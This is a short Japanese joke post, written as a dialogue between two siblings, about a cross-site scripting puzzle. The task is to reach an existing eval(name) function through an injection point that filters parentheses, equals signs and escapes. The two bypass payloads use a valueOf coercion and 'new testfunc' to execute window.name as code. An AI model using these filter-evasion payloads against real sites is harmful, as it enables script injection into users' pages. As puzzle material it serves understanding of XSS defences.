【ネタ】括弧や等号をつかわないとかいう【ネタ】
かずや(一夜):ひさしぶり
ちやこ(千夜子):ごぶさたね、兄さん。
かずや:今日は相談があってきたんだ。
ちやこ:ん?
かずや:こういうのを考えているんだけれどね。サーバからの出力。
ちやこ:なにこれ(w。頭おかしい。
<script>
/*testfuncはもともとある関数*/
var testfunc = function (){
eval(name) ;
} ;
/* この先、$useroutput部分に代替して悪意あるコードを追加可能な領域 */
$useroutput
</script>
かずや:いや、コードの追加が可能なんだけれどさ、どういうわけか、"(", ")", "=" の3種類の文字ははじいてくれるんだよ。ついでにいうと、ユニコード表現もきかないみたいだ。"\"が"$$"にばける。
ちやこ:で?対象ブラウザは?
かずや:とりあえずなんでもいいや。
ちやこ:ふぅん。で、アニキとしては、なにか回答があって私に自慢しに来たんでしょ?
かずや:ご名答!こんなんどうだろうか。
<script>
var testfunc = function (){
eval(name) ;
} ;
+{valueOf:testfunc}?1:0</script>
かずや:な?面白いだろ?hoshikuzuとかいう基地外のはてな日記をみていて思いついた。
ちやこ:ふーん。hoshikuzuとかいう人もおにいさまも、難しいこと考えすぎなんじゃないの? こうすればいいじゃん。
かずや:をい、うそだろ?
<script>
var testfunc = function (){
eval(name) ;
} ;new testfunc;
</script>
ちやこ:JavaScript界隈では常識よ?
かずや:constructorでないものをnewするなよ。
ちやこ:知らないわよ。